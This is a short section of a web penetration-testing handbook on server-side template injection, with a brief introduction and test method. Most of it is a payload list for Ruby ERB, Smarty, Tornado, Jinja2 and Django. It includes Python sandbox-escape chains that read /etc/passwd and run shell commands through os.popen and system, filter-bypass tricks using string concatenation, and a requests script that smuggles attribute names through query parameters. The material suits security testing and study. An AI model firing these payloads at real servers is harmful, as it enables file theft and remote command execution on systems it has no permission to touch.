4.11. Template Injection

4.11.1. Introduction

Template engines are used to render content with dynamic data. This contextual data is typically controlled by the user and formatted by templates to generate web pages, emails, etc. Template engines process contextual data by using code constructs such as conditional statements, loops, etc., allowing powerful language expressions to be used in templates to render dynamic content. If an attacker were able to control the template being rendered, they would be able to inject expressions that could expose contextual data or even run arbitrary commands on the server.

4.11.2. Test method

  • Determine which engine to use

  • Check the engine-related documentation to determine its security mechanism and its own functions and variables

  • Need to find attack surface, try to attack

4.11.3. Test Cases

  • simple mathematical expressions, {{ 7+7 }} => 14

  • string expression {{ "ajin" }} => ajin

  • Ruby
    • <%= 7 * 7 %>

    • <%= File.open('/etc/passwd').read %>

  • Java
    • ${7*7}

  • Twig
    • {{7*7}}

  • Smarty
    • {php}echo `id`;{/php}

  • AngularJS
    • $eval('1+1')

  • Tornado
    • 引用模块 {% import module %}

    • => {% import os %}{{ os.popen("whoami").read() }}

  • Flask/Jinja2
    • {{ config }}

    • {{ config.items() }}

    • {{get_flashed_messages.__globals__['current_app'].config}}

    • {{''.__class__.__mro__[-1].__subclasses__()}}

    • {{ url_for.__globals__['__builtins__'].__import__('os').system('ls') }}

    • {{ request.__init__.__globals__['__builtins__'].open('/etc/passwd').read() }}

  • Django
    • {{ request }}

    • {% debug %}

    • {% load module %}

    • {% include "x.html" %}

    • {% extends "x.html" %}

4.11.4. Objectives

  • create object

  • file read and write

  • remote file contains

  • information leakage

  • escalation of rights

4.11.6. Common Payloads

  • ().__class__.__bases__[0].__subclasses__()[40](r'/etc/passwd').read()

  • ().__class__.__bases__[0].__subclasses__()[59].__init__.func_globals.values()[13]['eval']('__import__("os").popen("ls /").read()' )

4.11.7. Bypass Techniques

4.11.7.1. String concatenation

request['__cl'+'ass__'].__base__.__base__.__base__['__subcla'+'sses__']()[60]

4.11.7.2. Bypassing with parameters

params = {
    'clas': '__class__',
    'mr': '__mro__',
    'subc': '__subclasses__'
}
data = {
    "data": "{{''[request.args.clas][request.args.mr][1][request.args.subc]()}}"
}
r = requests.post(url, params=params, data=data)
print(r.text)